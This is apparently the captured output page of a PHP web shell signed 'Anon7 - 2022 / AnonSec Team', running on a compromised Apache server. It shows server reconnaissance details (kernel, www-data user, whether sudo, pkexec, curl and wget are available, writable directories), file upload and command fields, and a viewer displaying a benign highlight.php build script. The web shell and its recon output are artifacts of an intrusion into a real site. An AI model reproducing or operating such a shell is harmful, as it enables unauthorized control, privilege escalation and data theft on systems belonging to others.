NICH
Server IP : 127.0.1.1  /  Your IP : 216.73.216.57
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux bahcrestlinepropertiesllc 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/bahcrestline/core/vendor/scrivo/highlight.php/tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/bahcrestline/core/vendor/scrivo/highlight.php/tools/process.sh
#!/bin/bash

HLJS_V="9.18.1"
DOJO_V="1.13.0"

HLJS_DL="https://api.github.com/repos/highlightjs/highlight.js/tarball/$HLJS_V"
DOJO_DL="http://download.dojotoolkit.org/release-$DOJO_V/dojo-release-$DOJO_V-src.tar.gz"

curl -L $HLJS_DL --output "lib_highlight.tar.gz"
curl -L $DOJO_DL --output "lib_dojo.tar.gz"

rm -rf lib_dojo lib_highlight 2> /dev/null

mkdir lib_dojo lib_highlight

tar xzf lib_dojo.tar.gz -C lib_dojo --strip-components 1
tar xzf lib_highlight.tar.gz -C lib_highlight --strip-components 1

cd lib_highlight
npm install
node tools/build.js -t node

# Translate language definitions to something Highlight.php can handle
cd ..
node launcher.js > languages.dat
php get_language_definitions.php

# Copy styles from highlight.js to our own styles directory
rm -r ../styles/ 2> /dev/null
mkdir -p ../styles/
cp -a lib_highlight/src/styles/ ../styles/

# Copy unit tests
rm -r ../test/detect/ 2> /dev/null
rm -r ../test/markup/ 2> /dev/null

mkdir -p ../test/{detect,markup}/
cp -a lib_highlight/test/detect/ ../test/detect/
cp -a lib_highlight/test/markup/ ../test/markup/

rm ../test/{detect,markup}/index.js 2> /dev/null

Anon7 - 2022
AnonSec Team